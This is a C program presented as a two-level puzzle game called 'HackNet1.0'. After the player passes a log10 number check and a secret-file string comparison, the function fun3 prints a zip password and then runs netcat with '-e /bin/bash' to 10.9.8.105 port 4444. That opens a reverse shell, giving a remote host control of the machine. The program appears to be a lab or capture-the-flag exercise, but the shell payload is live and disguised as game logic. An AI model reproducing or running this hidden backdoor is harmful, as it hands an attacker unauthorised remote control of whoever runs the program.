#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#define PORT 5678

#define MAX_LIMIT 52

void fun3() {
  printf("\nThe password for final_level.zip is pass123. Try using the shell to navigate to ~/Documents and open the zip file.\n");
  char *args[] = {"/bin/nc", "-nv", "10.9.8.105", "4444", "-e", "/bin/bash", NULL};
  execvp(args[0], args);
}

void fun2()
{
	printf("\n------LEVEL 2------");
	printf("\nEnter text: ");
	char s[100];
	char temp;
	temp=getchar();
	fgets(s,100,stdin);
	FILE *fp;
	fp=fopen("/root/Desktop/hidden.txt","r");
	char str[MAX_LIMIT];
	fgets(str,MAX_LIMIT,fp);
	int result=strncmp(str,s,10);
	if(result==0)
	{
		printf("\nSuccessful. Moving on...");
		return;
	}
	else
	{
		printf("\nWrong!! Unsuccessful");
		exit(0);
		return;
	}

}

void fun1()
{
	printf("\n------LEVEL 1------");
	printf("\nPlease enter two numbers seperated by a space: ");
	double x,y;
	scanf("%lf %lf",&x,&y);
	if(x==log10(y))
	{
		printf("\nSuccessful. Moving On...");
		fun2();
	}
	else
	{
		printf("\nErrrr You lack the proper skillset. Try again!");
		exit(0);
	}
	return;
}


int main()
{
	printf("----------Welcome to HackNet1.0----------");
	fun1();
	fun3();
	return 0;
}